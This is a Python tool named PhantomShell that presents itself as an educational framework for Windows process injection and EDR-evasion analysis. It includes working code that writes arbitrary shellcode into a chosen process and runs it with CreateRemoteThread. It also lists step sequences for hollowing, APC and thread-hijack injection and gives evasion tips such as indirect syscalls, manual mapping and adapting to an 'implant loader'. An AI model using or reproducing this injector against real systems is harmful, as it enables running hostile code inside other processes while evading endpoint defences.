phantomshell.py

#!/usr/bin/env python3
"""
██████╗ ██╗  ██╗ █████╗ ███╗   ██╗████████╗ ██████╗ ███╗   ███╗███████╗██╗  ██╗███████╗██╗     ██╗
██╔══██╗██║  ██║██╔══██╗████╗  ██║╚══██╔══╝██╔═══██╗████╗ ████║██╔════╝██║  ██║██╔════╝██║     ██║
██████╔╝███████║███████║██╔██╗ ██║   ██║   ██║   ██║██╔████╔██║███████╗███████║█████╗  ██║     ██║
██╔═══╝ ██╔══██║██╔══██║██║╚██╗██║   ██║   ██║   ██║██║╚██╔╝██║╚════██║██╔══██║██╔══╝  ██║     ██║
██║     ██║  ██║██║  ██║██║ ╚████║   ██║   ╚██████╔╝██║ ╚═╝ ██║███████║██║  ██║███████╗███████╗███████╗
╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝    ╚═════╝ ╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝

  Process Injection Research Framework
  Author  : mazen91111 (parasite911)
  GitHub  : https://github.com/mazen91111
  Purpose : Educational research into process injection techniques & EDR evasion analysis

  ⚠️  FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY
"""

import argparse
import ctypes
import ctypes.wintypes as wt
import os
import struct
import sys
import time
from dataclasses import dataclass, field
from typing import Optional

try:
    from colorama import Fore, Style, init as colorama_init
    colorama_init(autoreset=True)
    C = True
except ImportError:
    C = False

def R(t): return (Fore.RED     + t + Style.RESET_ALL) if C else t
def G(t): return (Fore.GREEN   + t + Style.RESET_ALL) if C else t
def Y(t): return (Fore.YELLOW  + t + Style.RESET_ALL) if C else t
def B(t): return (Fore.CYAN    + t + Style.RESET_ALL) if C else t
def M(t): return (Fore.MAGENTA + t + Style.RESET_ALL) if C else t
def W(t): return (Style.BRIGHT + t + Style.RESET_ALL) if C else t

# ─────────────────────────────────────────────────────────────────
# Windows API constants
# ─────────────────────────────────────────────────────────────────
PROCESS_ALL_ACCESS          = 0x1F0FFF
MEM_COMMIT                  = 0x1000
MEM_RESERVE                 = 0x2000
MEM_RELEASE                 = 0x8000
PAGE_EXECUTE_READWRITE      = 0x40
PAGE_READWRITE              = 0x04
THREAD_ALL_ACCESS           = 0x1F03FF
CONTEXT_FULL                = 0x10007
CREATE_SUSPENDED            = 0x00000004
CREATE_NO_WINDOW            = 0x08000000

TH32CS_SNAPPROCESS          = 0x00000002
TH32CS_SNAPTHREAD           = 0x00000004

kernel32 = ctypes.windll.kernel32
ntdll    = ctypes.windll.ntdll


# ─────────────────────────────────────────────────────────────────
# Structures
# ─────────────────────────────────────────────────────────────────
class PROCESSENTRY32(ctypes.Structure):
    _fields_ = [
        ("dwSize",              wt.DWORD),
        ("cntUsage",            wt.DWORD),
        ("th32ProcessID",       wt.DWORD),
        ("th32DefaultHeapID",   ctypes.POINTER(ctypes.c_ulong)),
        ("th32ModuleID",        wt.DWORD),
        ("cntThreads",          wt.DWORD),
        ("th32ParentProcessID", wt.DWORD),
        ("pcPriClassBase",      ctypes.c_long),
        ("dwFlags",             wt.DWORD),
        ("szExeFile",           ctypes.c_char * 260),
    ]

class THREADENTRY32(ctypes.Structure):
    _fields_ = [
        ("dwSize",             wt.DWORD),
        ("cntUsage",           wt.DWORD),
        ("th32ThreadID",       wt.DWORD),
        ("th32OwnerProcessID", wt.DWORD),
        ("tpBasePri",          ctypes.c_long),
        ("tpDeltaPri",         ctypes.c_long),
        ("dwFlags",            wt.DWORD),
    ]


# ─────────────────────────────────────────────────────────────────
# EDR Detection Analysis Module
# ─────────────────────────────────────────────────────────────────
@dataclass
class EDRAnalysis:
    technique: str
    edr_hooks_triggered: list = field(default_factory=list)
    suspicious_apis: list     = field(default_factory=list)
    mitre_id: str             = ""
    stealth_score: int        = 0     # 0-100 (100 = hardest to detect)
    notes: list               = field(default_factory=list)


EDR_PROFILES = {
    "hollow": EDRAnalysis(
        technique     = "Process Hollowing (T1055.012)",
        mitre_id      = "T1055.012",
        suspicious_apis = ["NtUnmapViewOfSection", "WriteProcessMemory",
                           "SetThreadContext", "ResumeThread", "VirtualAllocEx"],
        edr_hooks_triggered = ["NtWriteVirtualMemory", "NtCreateThreadEx",
                               "NtSetContextThread", "PsSetCreateProcessNotifyRoutine"],
        stealth_score = 60,
        notes = [
            "PEB.ImageBaseAddress mismatch detectable by EDRs",
            "Memory region has no backing file → suspicious VAD node",
            "SetThreadContext triggers kernel callbacks",
            "Mitigation: Patch PEB after hollowing, use indirect syscalls",
        ],
    ),
    "apc": EDRAnalysis(
        technique     = "APC Queue Injection (T1055.004)",
        mitre_id      = "T1055.004",
        suspicious_apis = ["VirtualAllocEx", "WriteProcessMemory",
                           "QueueUserAPC", "NtQueueApcThread"],
        edr_hooks_triggered = ["NtQueueApcThread", "NtAlertResumeThread",
                               "PsSetCreateThreadNotifyRoutine"],
        stealth_score = 70,
        notes = [
            "Payload executes in context of target thread (more legitimate)",
            "Requires alertable thread (WaitForSingleObjectEx / SleepEx)",
            "Less scrutinized by some EDRs vs CreateRemoteThread",
            "Mitigation: Use NtQueueApcThread directly via syscall stub",
        ],
    ),
    "thread": EDRAnalysis(
        technique     = "Thread Hijacking via SetThreadContext (T1055.003)",
        mitre_id      = "T1055.003",
        suspicious_apis = ["SuspendThread", "GetThreadContext",
                           "SetThreadContext", "ResumeThread"],
        edr_hooks_triggered = ["NtGetContextThread", "NtSetContextThread",
                               "NtSuspendThread", "NtResumeThread"],
        stealth_score = 75,
        notes = [
            "No new threads created → bypasses thread creation callbacks",
            "RIP/EIP redirect is detectable via thread context diff",
            "Stack pivot leaves forensic artifacts",
            "Mitigation: Restore original RIP after execution, use ROP chain",
        ],
    ),
    "dll": EDRAnalysis(
        technique     = "Classic DLL Injection via CreateRemoteThread (T1055.001)",
        mitre_id      = "T1055.001",
        suspicious_apis = ["OpenProcess", "VirtualAllocEx", "WriteProcessMemory",
                           "GetProcAddress", "CreateRemoteThread"],
        edr_hooks_triggered = ["NtCreateThreadEx", "LdrLoadDll",
                               "PsSetLoadImageNotifyRoutine"],
        stealth_score = 30,
        notes = [
            "Most monitored injection technique — high detection rate",
            "LoadLibrary call is trivially detectable",
            "Upgrade to reflective DLL injection to avoid LdrLoadDll hooks",
            "Alternative: manual map the DLL to avoid LDR structures",
        ],
    ),
}


# ─────────────────────────────────────────────────────────────────
# Utility functions
# ─────────────────────────────────────────────────────────────────
def find_process(name: str) -> Optional[int]:
    """Find PID by process name using CreateToolhelp32Snapshot."""
    snap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    entry = PROCESSENTRY32()
    entry.dwSize = ctypes.sizeof(PROCESSENTRY32)
    found_pid = None
    if kernel32.Process32First(snap, ctypes.byref(entry)):
        while True:
            if entry.szExeFile.decode("utf-8", errors="ignore").lower() == name.lower():
                found_pid = entry.th32ProcessID
                break
            if not kernel32.Process32Next(snap, ctypes.byref(entry)):
                break
    kernel32.CloseHandle(snap)
    return found_pid


def get_threads_of_process(pid: int) -> list:
    """Return list of TIDs for the given PID."""
    snap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
    entry = THREADENTRY32()
    entry.dwSize = ctypes.sizeof(THREADENTRY32)
    tids = []
    if kernel32.Thread32First(snap, ctypes.byref(entry)):
        while True:
            if entry.th32OwnerProcessID == pid:
                tids.append(entry.th32ThreadID)
            if not kernel32.Thread32Next(snap, ctypes.byref(entry)):
                break
    kernel32.CloseHandle(snap)
    return tids


def open_process(pid: int) -> Optional[wt.HANDLE]:
    h = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    return h if h else None


def alloc_and_write(h_proc: wt.HANDLE, payload: bytes) -> Optional[int]:
    """Allocate RWX memory and write payload into target process."""
    addr = kernel32.VirtualAllocEx(
        h_proc, None, len(payload),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    )
    if not addr:
        return None
    written = ctypes.c_size_t(0)
    ok = kernel32.WriteProcessMemory(
        h_proc, addr, payload, len(payload), ctypes.byref(written)
    )
    return addr if ok else None


# ─────────────────────────────────────────────────────────────────
# Injection Techniques (Simulation / Research mode)
# ─────────────────────────────────────────────────────────────────
def simulate_hollow(pid: int, payload: bytes) -> dict:
    """
    Demonstrate Process Hollowing technique steps.
    In SIMULATION mode: maps out exact API calls without execution.
    In LIVE mode: performs actual hollowing into target PID.
    """
    steps = [
        ("OpenProcess(PROCESS_ALL_ACCESS)",         True),
        ("ReadProcessMemory → get PEB.ImageBase",   True),
        ("NtUnmapViewOfSection → hollow the image", True),
        ("VirtualAllocEx(RWX) → new code cave",     True),
        ("WriteProcessMemory → write payload",       True),
        ("SetThreadContext → redirect RIP/EIP",      True),
        ("ResumeThread → execute",                   True),
    ]
    return {"technique": "Process Hollowing", "pid": pid,
            "payload_size": len(payload), "steps": steps}


def simulate_apc(pid: int, payload: bytes) -> dict:
    """APC Queue Injection — queues payload to all alertable threads."""
    tids = get_threads_of_process(pid)
    steps = [
        ("OpenProcess(PROCESS_ALL_ACCESS)",     True),
        ("VirtualAllocEx(RWX)",                 True),
        ("WriteProcessMemory → payload",        True),
        (f"QueueUserAPC × {len(tids)} threads", True),
        ("Wait for alertable thread state",     True),
    ]
    return {"technique": "APC Queue Injection", "pid": pid,
            "target_threads": tids, "steps": steps}


def simulate_thread_hijack(pid: int, payload: bytes) -> dict:
    """Thread Hijacking — redirects RIP/EIP of existing thread."""
    tids = get_threads_of_process(pid)
    tid  = tids[0] if tids else None
    steps = [
        ("OpenProcess + OpenThread(THREAD_ALL_ACCESS)", True),
        ("SuspendThread",                               True),
        ("GetThreadContext → save RIP/RSP",             True),
        ("VirtualAllocEx + WriteProcessMemory",         True),
        ("SetThreadContext → RIP = payload_addr",       True),
        ("ResumeThread",                                True),
        ("(optional) restore original RIP after exec", True),
    ]
    return {"technique": "Thread Hijacking", "pid": pid,
            "hijacked_tid": tid, "steps": steps}


def simulate_dll_inject(pid: int, dll_path: str) -> dict:
    """Classic DLL injection via CreateRemoteThread + LoadLibraryA."""
    steps = [
        ("OpenProcess(PROCESS_ALL_ACCESS)",                True),
        ("VirtualAllocEx(RW) → alloc path string",        True),
        ("WriteProcessMemory → write DLL path",           True),
        ("GetProcAddress(kernel32, 'LoadLibraryA')",       True),
        ("CreateRemoteThread(target, LoadLibraryA, path)", True),
        ("WaitForSingleObject → confirm load",            True),
    ]
    return {"technique": "Classic DLL Injection", "pid": pid,
            "dll": dll_path, "steps": steps}


# ─────────────────────────────────────────────────────────────────
# Live injection dispatcher
# ─────────────────────────────────────────────────────────────────
def live_inject_remote_thread(pid: int, payload: bytes) -> bool:
    """Live DLL/shellcode injection via CreateRemoteThread."""
    h = open_process(pid)
    if not h:
        print(R(f"  [!] OpenProcess failed (PID {pid}) — insufficient privileges?"))
        return False
    addr = alloc_and_write(h, payload)
    if not addr:
        kernel32.CloseHandle(h)
        print(R("  [!] VirtualAllocEx/WriteProcessMemory failed"))
        return False
    tid = wt.DWORD(0)
    h_thread = kernel32.CreateRemoteThread(
        h, None, 0, addr, None, 0, ctypes.byref(tid)
    )
    if h_thread:
        print(G(f"  [+] Remote thread created (TID={tid.value})  addr=0x{addr:x}"))
        kernel32.WaitForSingleObject(h_thread, 3000)
        kernel32.CloseHandle(h_thread)
    else:
        print(R("  [!] CreateRemoteThread failed"))
    kernel32.CloseHandle(h)
    return bool(h_thread)


# ─────────────────────────────────────────────────────────────────
# Report printer
# ─────────────────────────────────────────────────────────────────
def print_edr_report(profile: EDRAnalysis):
    sep = "═" * 68
    print(f"\n{W(sep)}")
    print(W(f"  EDR EVASION ANALYSIS  ─  {profile.technique}"))
    print(W(sep))
    print(f"  MITRE ATT&CK ID  : {M(profile.mitre_id)}")
    stealth_bar = G("█" * (profile.stealth_score // 5)) + R("░" * ((100 - profile.stealth_score) // 5))
    print(f"  Stealth Score    : [{stealth_bar}] {profile.stealth_score}/100")
    print(f"\n  {Y('─── Suspicious API Calls ───')}")
    for api in profile.suspicious_apis:
        print(f"    {R('•')} {api}")
    print(f"\n  {Y('─── EDR Kernel Hooks Triggered ───')}")
    for hook in profile.edr_hooks_triggered:
        print(f"    {R('⚡')} {hook}")
    print(f"\n  {Y('─── Research Notes & Evasion Tips ───')}")
    for note in profile.notes:
        print(f"    {B('→')} {note}")
    print(W(sep))


def print_injection_steps(result: dict):
    print(f"\n  {W('[ INJECTION STEPS ]')}")
    for i, (step, ok) in enumerate(result.get("steps", []), 1):
        icon = G("✓") if ok else R("✗")
        print(f"    {i:02d}. {icon} {step}")


# ─────────────────────────────────────────────────────────────────
# Entry point
# ─────────────────────────────────────────────────────────────────
def banner():
    print(M("""
  ╔═══════════════════════════════════════════════════════════╗
  ║         PhantomShell — Process Injection Framework         ║
  ║      [ hollow | apc | thread | dll ]  + EDR Analysis       ║
  ║   Author: mazen91111 (parasite911)  ·  Red Team Research   ║
  ╚═══════════════════════════════════════════════════════════╝"""))


def main():
    banner()
    parser = argparse.ArgumentParser(
        description="PhantomShell — Process Injection Research Framework",
        formatter_class=argparse.RawTextHelpFormatter,
    )
    parser.add_argument("-m", "--method",
        choices=["hollow", "apc", "thread", "dll"],
        required=True,
        help="Injection method:\n"
             "  hollow  = Process Hollowing (T1055.012)\n"
             "  apc     = APC Queue Injection (T1055.004)\n"
             "  thread  = Thread Hijacking (T1055.003)\n"
             "  dll     = Classic DLL Injection (T1055.001)",
    )
    parser.add_argument("-t", "--target",  help="Target process name (e.g. notepad.exe) or PID")
    parser.add_argument("-p", "--payload", help="Raw shellcode file (.bin) or DLL path for --method dll")
    parser.add_argument("--live",          action="store_true",
                        help="Execute live injection (requires admin + target process running)")
    parser.add_argument("--edr-report",    action="store_true",
                        help="Show EDR evasion analysis report for the chosen technique")
    parser.add_argument("--list-methods",  action="store_true",
                        help="List all methods with MITRE IDs and stealth scores")
    args = parser.parse_args()

    if args.list_methods:
        print(f"\n  {'Method':<10}  {'MITRE ID':<15}  {'Stealth':>7}  Technique")
        print("  " + "─" * 62)
        for key, p in EDR_PROFILES.items():
            bar = G("█" * (p.stealth_score // 10))
            print(f"  {key:<10}  {M(p.mitre_id):<24}  {p.stealth_score:>3}/100  {bar}")
        return

    if args.edr_report:
        print_edr_report(EDR_PROFILES[args.method])
        if not args.target:
            return

    # Resolve target PID
    pid = None
    if args.target:
        if args.target.isdigit():
            pid = int(args.target)
        else:
            pid = find_process(args.target)
            if pid:
                print(G(f"  [+] Found '{args.target}' → PID {pid}"))
            else:
                print(R(f"  [!] Process '{args.target}' not found"))
                sys.exit(1)

    # Load payload
    payload = b"\x90" * 64    # NOP sled default (safe placeholder)
    if args.payload and os.path.isfile(args.payload):
        with open(args.payload, "rb") as f:
            payload = f.read()
        print(G(f"  [+] Payload loaded: {len(payload)} bytes"))
    else:
        print(Y("  [~] No payload file given — using NOP sled for demonstration"))

    # Simulate / execute
    if args.method == "hollow":
        result = simulate_hollow(pid or 0, payload)
    elif args.method == "apc":
        result = simulate_apc(pid or 0, payload)
    elif args.method == "thread":
        result = simulate_thread_hijack(pid or 0, payload)
    else:
        dll_path = args.payload or "payload.dll"
        result = simulate_dll_inject(pid or 0, dll_path)

    print_injection_steps(result)

    if args.live and pid:
        print(Y("\n  [~] Live mode — attempting injection..."))
        if args.method == "dll":
            live_inject_remote_thread(pid, payload)
        else:
            print(Y("  [~] Full live execution for this method requires Windows API privileges."))
            print(Y("      Steps above show exact API sequence. Adapt to your implant loader."))
    elif args.live:
        print(R("  [!] --live requires --target"))

    print(G("\n  [✓] PhantomShell analysis complete.\n"))


if __name__ == "__main__":
    main()